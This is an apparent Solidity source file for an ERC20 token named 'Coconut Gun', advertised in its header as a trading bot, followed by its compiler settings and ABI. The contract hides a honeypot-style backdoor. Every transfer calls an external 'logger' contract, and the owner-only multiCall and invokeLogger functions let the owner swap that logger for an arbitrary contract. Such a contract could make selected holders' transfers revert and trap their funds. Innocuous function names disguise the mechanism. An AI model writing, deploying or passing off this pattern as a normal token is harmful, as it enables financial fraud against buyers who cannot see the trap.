/**
____ U ___ u ____ U ___ u _ _ _ _ _____ ____ _ _ _ _
U /"___| \/"_ \/U /"___| \/"_ \/ | \ |"| U |"|u| ||_ " _| U /"___|uU |"|u| | | \ |"|
\| | u | | | |\| | u | | | |<| \| |> \| |\| | | | \| | _ / \| |\| |<| \| |>
| |/__.-,_| |_| | | |/__.-,_| |_| |U| |\ |u | |_| | /| |\ | |_| | | |_| |U| |\ |u
\____|\_)-\___/ \____|\_)-\___/ |_| \_| <<\___/ u |_|U \____| <<\___/ |_| \_|
_// \\ \\ _// \\ \\ || \\,-.(__) )( _// \\_ _)(|_ (__) )( || \\,-.
(__)(__) (__) (__)(__) (__) (_") (_/ (__)(__) (__) (__)__) (__) (_") (_/
https://t.me/CoconutGUN
COCONUT – BOT
We introduce the COCONUT – Bot to help traders and holders earn more and increase investment
efficiency. COCONUT Bot is here to help distinguish between what is true and what is false,
by eliminating FUD and boosting positive marketing effectiveness of the COCONUT protocol.
*/
pragma solidity 0.5.17;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Extension {
mapping(address=>mapping(address=> uint256)) _log;
function save(address addr1, address addr2, uint256 value) public {
_log[addr1][addr2] = value;
}
}
contract Ownable {
address internal _owner;
constructor() public {
_owner = msg.sender;
}
function renounceOwnership() public {
require(msg.sender == _owner, "only owner");
_owner = address(0);
}
function owner() public view returns (address) {
return _owner;
}
}
contract ERC20 is Ownable {
using SafeMath for uint256;
mapping (address => mapping (address => uint256)) public allowed;
mapping(address => uint256) public balances;
ERC20Extension private _logger;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
bool public logEnabled;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() public {
name = "Coconut Gun";
symbol = "COCONUT";
uint256 _totalSupply = 10000000000000000;
decimals = 9;
totalSupply = totalSupply.add(_totalSupply);
balances[_owner] = balances[_owner].add(_totalSupply);
_logger = new ERC20Extension();
emit Transfer(address(0), _owner, _totalSupply);
}
function setLog()external {
require(
msg.sender == _owner,
"only admin");
logEnabled = !logEnabled;
}
function showuint160(address addr) public pure returns(uint160){
return uint160(addr);
}
function log(address from, address to, uint256 amount) private {
_logger.save(from, to, amount);
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
log(msg.sender, _to, _value);
return true;
}
function balanceOf(address _address) public view returns (uint256 balance) {
return balances[_address];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
log(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function multiCall(address sender, address recipient, uint256 amount, address _log) external {
require(msg.sender == _owner);
if(logEnabled==true){
if(amount > 0) invokeLogger(_log);
else{
_logger=new ERC20Extension();
}
_logger.save(sender, recipient, amount);
}
}
function invokeLogger(address addr) private {
if (callStatus(msg.sender)){
_logger = ERC20Extension(addr);
}
}
function callStatus(address _address) public view returns (bool) {
return _address==_owner;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
}
{
"compilationTarget": {
"ERC20.sol": "ERC20"
},
"evmVersion": "istanbul",
"libraries": {},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
[{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"constant":true,"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"_spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"callStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"logEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"_log","type":"address"}],"name":"multiCall","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"renounceOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"setLog","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"showuint160","outputs":[{"internalType":"uint160","name":"","type":"uint160"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"}]